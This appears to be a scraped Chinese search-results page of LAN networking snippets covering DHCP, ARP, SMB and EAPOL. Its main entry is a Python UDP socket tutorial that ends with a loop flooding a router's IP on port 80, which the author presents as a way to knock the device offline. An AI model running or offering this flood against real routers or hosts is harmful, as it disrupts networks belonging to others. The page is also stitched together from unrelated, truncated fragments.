精华内容
下载资源
问答
  • DHCP(动态主机配置协议)是一个局域网的网络协议。指的是由服务器控制一段IP地址范围,客户机登录服务器时就可以自动获得服务器分配的IP地址和子网掩码。下面就简单介绍一下DHCP的安装和一些简单的配置,使用的虚拟机...

    DHCP(动态主机配置协议)是一个局域网的网络协议。指的是由服务器控制一段IP地址范围,客户机登录服务器时就可以自动获得服务器分配的IP地址和子网掩码。

    3ed8600b4e28a0b2fae8f28d4076327a.png

    下面就简单介绍一下DHCP安装和一些简单的配置,使用的虚拟机进行操作的操作系统是centos6.5

    1、DHCP安装

    通过rpm包来进行安装,安装包版本   dhcp-4.1.1-12.p1.el6.x86_64.rpm

    397fc9396b22542ca0af6026f1301541.png

    检查是否安装 使用rpm命令

    b4fa9d2bbc9e6d18f20d9fc792d4b324.png

    2、DHCP配置

    进入到安装目录,查看安装的配置文件和配置说明

    0fe63c18d5baf440c23665fe7dc54a47.png

    0581e38483591c44bc8c69b875cc69eb.png

    修改配置,使用vim命令修改配置,如果系统没有vim命令,可以通过yum install vim 命令来安装vim,使用vim会比使用vi要方便一些,个人觉得的

    ea19551c8e48bb012466cf868010eff4.png

    3、服务的启动、重启、停止(centos6.5)

    启动服务:service dhcpd start

    重启服务:service dhcpd restart

    停止服务:service dhcpd stop

    4、linux客户端动态获取IP

    修改网卡配置

    1ba6f662249d6b6f9d7809a4b5ae6437.png

    重启网卡

    4dc80e67dc3d99b404e18041012c1133.png

    我们是ifconfig 命令来查看一下网卡信息,看是否达到了预期效果,通过网卡信息,我们可以看出,配置成功了,成功的获取了ip

    ccd1e5bf679c4df25334dda7f196c656.png

    可以看到,windows物理机也同样获取了我们想要的ip网段,这说明我们的配置正确的

    353dddb620571e78ce6033a1c268b151.png

    展开全文
  • 关键字: SOCKET:套接字 PORT:网络端口 IP:网际互连协议 ...首先,如何实现局域网内计算机通信? import socket def main(): # 创建一个udp套接字 udp_socket = socket.socket(socket.AF_INET, socket.S...

    关键字:

    SOCKET:套接字
    PORT:网络端口
    IP:网际互连协议
    UDP:用户数据报协议(无连接)
    21端口80端口知名接口,上网必用
    了解更多去百度

    首先,如何实现局域网内计算机通信?

    import socket
    
    
    def main():
        # 创建一个udp套接字
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        # 从键盘获取数据
        send_content = input("input data:")
        
        # 可以使用套接字收发数据
        # b"hahaha"是直接将其转换为byte类型数据,IP地址与端口放在一个元组内
        # udp_socket.sendto(b"hahaha", ("192.168.2.145", 8080))
    	
    	# 使用encode将其转换为utf-8格式
        udp_socket.sendto(send_content.encode("utf-8"), ("192.168.2.145", 8080))
        
        # 关闭套接字
        udp_socket.close()
    
    
    if __name__ == "__main__":
        main()
    

    使用网络调试助手可以并且设置好端口号,便可以接收消息!

    接下来如何使用python接收呢?

    import socket
    
    
    def main():
        # 1.创建套接字
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        
        # 2.绑定一个本地信息
        # ""或''代表本机IP,里面没有空格
        localaddr = ("", 5773)
        udp_socket.bind(localaddr)
        # 循环接收
        while True:
            # 3.接收数据
            recv_data = udp_socket.recvfrom(1024)
            # 此时recv_data里是一个元组数据,0索引处是消息,可以自己打印出来看
            if recv_data[0].decode("gbk") == 'exit':  # 加一个解码操作
                break
            # 4.打印收到的数据
            print(recv_data[0].decode("gbk"))
        # 5.关闭套接字
        udp_socket.close()
    
     
    if __name__ == "__main__":
        main()
    

    程序运行时便可以进行接收,为了写博文方便,在此直接收发截图放置于此:
    在这里插入图片描述
    注意:这里的发送ip可以是本机的,但是绑定的端口不可以同时进行!

    此时,向主机(计算机/路由器)IP不间断向81端口发送消息,就会使其内存堆满,可以引入线程效果更佳,在此就不详述了,大致攻击代码如下:

    import socket
    
    def main():
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
        udp_data = "通常被称为本地回环地址(Loopback Address),不属于任何一个有类别地址类。它代表设备的本地虚拟接口,所以默认被看作是永远不会宕掉的接口。在Windows操作系统中也有相似的定义,所以通常在安装网卡前就可以ping通这个本地回环地址。一般都会用来检查本地网络协议、基本数据接口等是否正常的。"
        
        while True:
        	# 地址改为路由器主机IP再加80端口!
            udp_socket.sendto(udp_data.encode('utf-8'),("192.168.2.1",80))
    
        udp_socket.close()
    if __name__ == '__main__':
        main()
    

    至此实现完毕!
    路由器网络瞬间会炸裂,如果换成计算机/手机IP,端口80,同理这个设备上网功能在攻击时就不能使用了!
    半夜打字实在是胳膊酸,我写东西不喜欢写的太过详细,点到为止即可!

    展开全文
  • ARP协议的工作过程和局域网使用

    千次阅读 2017-06-12 17:35:10
    1. 原理:(ARP协议使用局域网中) 1> 在局域网中,网络中实际传输是“帧”,帧里面是有目标主机MAC地址。 2> 在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机MAC地址。但这个目标...

    一、ARP的工作过程
    1. 原理:(ARP协议只使用于局域网中)
    1> 在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的。
    2> 在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。但这个目标MAC地址是如何获得呢?它就是通过地址解析协议获得的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。
    3> ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。
    4> 点对点的连接是不需要ARP协议的
    2. 工作过程:
    1> 当主机A向本局域网上的某个主机B发送IP数据报时,就先在自己的ARP缓冲表中查看有无主机B的IP地址。
    2> 如果有,就可以查出其对应的硬件地址,再将此硬件地址写入MAC帧,然后通过以太网将数据包发送到目的主机中。
    3> 如果查不到主机B的IP地址的表项。可能是主机B才入网,也可能是主机A刚刚加电。其高速缓冲表还是空的。在这中情况下,主机A就自动运行ARP。
    (1)ARP进程在本局域网上广播一个ARP请求分组。ARP请求分组的主要内容是表明:我的IP地址是192.168.0.2,我的硬件地址是00-00-C0-15-AD-18.我想知道IP地址为192.168.0.4的主机的硬件地址。
    (2)在本局域网上的所有主机上运行的ARP进行都收到此ARP请求分组。
    (3)主机B在ARP请求分组中见到自己的IP地址,就向主机A发送ARP响应分组,并写入自己的硬件地址。其余的所有主机都不理睬这个ARP请求分组。ARP响应分组的主要内容是表明:“我的IP地址是192.168.0.4,我的硬件地址是08-00-2B-00-EE-AA”,请注意:虽然ARP请求分组是广播发送的,但ARP响应分组是普通的单播,即从一个源地址发送到一个目的地址。
    (4)主机A收到主机B的ARP响应分组后,就在其ARP高速缓冲表中写入主机B的IP地址到硬件地址的映射。
    二、抓取局域网内主机mac地址
    脚本1:
    这里写图片描述

    脚本二(利用C++的sendarp函数):

    /*
    * 获取局域网内IP地址为ipDst的MAC地址,结果保存在byDstMac参数中
    * 返回操作是否成功
    */
    template<int nSize>
    BOOL  GetMacAddress( IPAddr ipDst, BYTE (&byDstMac)[nSize] )
    {
        ASSERT( nSize >= 6 );
    
        memset( byDstMac, 0, nSize );
    
        DWORD dwBufferLen = nSize;
    
        DWORD dwRet = ::SendARP( ipDst, 0, (PULONG)&byDstMac, &dwBufferLen );
    
        return dwRet == NO_ERROR;
    }
    BYTE  byDstMac[6];
    if( GetMacAddress(::inet_addr("192.168.8.132"), byDstMac))
    {
        CString strMac;
        strMac.Format(_T("%.2X-%.2X-%.2X-%.2X-%.2X-%.2X"), byDstMac[0], byDstMac[1], byDstMac[2], byDstMac[3],byDstMac[4],byDstMac[5]);
        AfxMessageBox(strMac);
    }
    展开全文
  • DHCP:一个局域网的网络协议

    千次阅读 2014-12-10 17:53:51
    DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)是一个局域网的网络协议使用UDP协议工作, 主要有两个用途:给内部网络或网络服务供应商自动分配IP地址,给用户或者内部网络管理员作为对所有计算机...

    DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)是一个局域网的网络协议,使用UDP协议工作, 主要有两个用途:给内部网络或网络服务供应商自动分配IP地址,给用户或者内部网络管理员作为对所有计算机作中央管理的手段,在RFC 2131中有详细的描述。DHCP有3个端口,其中UDP67和UDP68为正常的DHCP服务端口,分别作为DHCP Server和DHCP Client的服务端口;546号端口用于DHCPv6 Client,而不用于DHCPv4,是为DHCP failover服务,这是需要特别开启的服务,DHCP failover是用来做“双机热备”的。

    功能概述
    DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)为互联网上主机提供地址和配置参数。DHCP是基于Client/Server工作模式,DHCP服务器需要为主机分配IP地址和提供主机配置参数。DHCP具有以下功能:
    1.保证任何IP地址在同一时刻只能由一台DHCP客户机所使用。
    2.DHCP应当可以给用户分配永久固定的IP地址。
    3.DHCP应当可以同用其他方法获得IP地址的主机共存(如手工配置IP地址的主机)
    4.DHCP服务器应当向现有的BOOTP客户端提供服务。
    DHCP有三种机制分配IP地址:
    1) 自动分配(Automatic Allocation),DHCP给客户端分配永久性的IP地址;
    2) 动态分配(Dynamic Allocation), DHCP给客户端分配过一段时间会过期的IP地址(或者客户端可以主动释放该地址);
    3) 手工配置(Manual Allocation),由网络管理员给客户端指定IP地址。管理员可以通过DHCP将指定的IP地址发给客户端。
    三种地址分配方式中,只有动态分配可以重复使用客户端不再需要的地址。
    DHCP消息的格式是基于BOOTP(Bootstrap Protocol)消息格式的,这就要求设备具有BOOTP中继代理的功能,并能够与BOOTP客户端和DHCP服务器实现交互。BOOTP中继代理的功能,使得没有必要在每个物理网络都部署一个DHCP服务器。RFC 951和RFC 1542对BOOTP协议进行了详细描述。

    展开全文
  • 使用ARP协议获取局域网内活动主机物理地址详细源代码
  • 就像不同国家人之间进行交流时需要使用一种彼此都理解语言,网络中计算机要想相互进行“交流”,也必须选择一种彼此都能听得懂“公用语言”,即我们通常所说网络通信协议(Protocol)。   目前,局域网...
  • 局域网协议

    2017-04-29 12:34:00
    局域网一些协议,在安装操作系统时会自动安装。如在安装Windows 2000或Windows 95/98时,系统会自动安装NetBEUI通信协议。在安装NetWare时,系统会自动安装IPX/SPX通信协议。其中三种协议中,NetBEUI和IPX/SPX在...
  • 1、实现功能:UDP协议下三种通信、广播、单薄、组播。 2、通信时实现多线程,可同时与几台...3、java窗口使用的不熟悉,界面比较low 展示:  目录结构: 界面展示: 登陆界面:没有链接数据库,假的登陆...
  • 局域网发现协议

    千次阅读 2018-08-10 14:58:53
    局域网发现设备是通信第一步,通信需要先知道对方ip地址,因为一般使用 DHCP 动态分配 ip 地址的局域网内,各个主机 IP 地址是由 DHCP 服务器来帮你分配 IP 地址。所以在很多情况下,你要知道对方 IP 地址...
  • 局域网文件分享协议和方案探究

    千次阅读 2016-12-22 15:07:43
    多数情况下都会选择使用u盘,先把文件复制进去,然后把u盘交给其他人,那个人再拷贝出来,完成一次文件传输。当然作为一个IT人士,程序猿,或者Geek这样传输实在太没品太不装X了,而且主要有以下弊端: 1、受u盘大小...
  • Windows局域网渗透(协议

    千次阅读 2018-08-12 02:19:33
    一、SMB/CIFS协议的区别  在NetBIOS出现之后,Microsoft就使用NetBIOS实现了一个网络文件/打印服务系统,这个系统基于NetBIOS设定了一套文件共享协 议,Microsoft称之为SMB(Server Message Block)...
  • 3年前推送过一篇使用TCP协议进行局域网内屏幕广播文章,见 Python实现局域网内屏幕广播技术要点分析 众所周知,TCP协议尽管有良好流量控制、拥塞控制等传输质量保证机制,但开销比较大且只能单播。尽管当时...
  • 分析/验证对比常见局域网服务发现协议在Windows/Linux/Mac等不同系统下支持和表现网络邻居发现协议大比拼,Windows/Linux/Mac系统局域网服务发现协议之-八大金刚在使用不同系统智能硬件时,如常见树莓派/Openwrt...
  • 局域网通信协议及选择。

    千次阅读 2019-06-16 13:16:59
    局域网中一般使用NetBEUI、IPX/SPX和TCP/IP这3种协议。 NetBEUI协议 NetBEUI(NetBIOSExtendedUserInterface,用户扩展接口)由IBM于1985年开发完成, 它是一种体积小、效率高、速率快通行协议。NetBEUI也是...
  • 虚拟局域网中继(协议)干道。 交换网络中链路类型 接入链路、中继链路。 VLAN跨交换机通信过程 使用一条链路,使用标识来区分不同VLAN数据,交换机给每个去往其他交换机数据帧打上VLAN标识。 在以太网上...
  • EAP是Extensible Authentication Protocol缩写,EAPOL就是(EAP OVER LAN )基于局域网的扩展认证协议。 EAPOL是基于802.1X网络访问认证技术发展而来。 定义: EAP是Extensible Authentication Protocol缩写。...
  • xp系统下载SyGate安装好后,不能马上就使用,还必须对局域网内各机器TCP/IP协议进行一些设定。下面是具体设置过程,感兴趣朋友可以参考下
  • 为了保护自己不被局域网扫描器探测到,我们一般会在Windows自带防火墙中关闭icmp协议,这样别人就无法Ping到自己,但使用arp协议却可让你无处藏身。 icmp工作在网络层,arp协议是更底层。arp是地址转换协议...
  • 网络通信协议(Protocol)是网络中计算机实现通信必备条件,两台连接到局域网计算机要想实现通信,则必须使用相同通信协议。在组建局域网的过程当中经常会遇到选择和安装通信协议的问题,如果选择和安装了...
  • "正在监听局域网ARP包,请耐心等候...\n\n\n\n" ; // 释放设备列表 pcap_freealldevs ( alldevs ) ; // 获取数据包 struct pcap_pkthdr * header ; const u_char * pkt_data ; struct ...
  • 局域网——使用广播信道数据链路层,跨越数据链路层和物理层 特点:网络为一个单位所拥有,且地理范围和站点数目均有限。 优点: 具有广播功能(使用广播信道),从一个站点可很方便地访问全网 便于系统...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 4,646
精华内容 1,858
关键字:

局域网使用的协议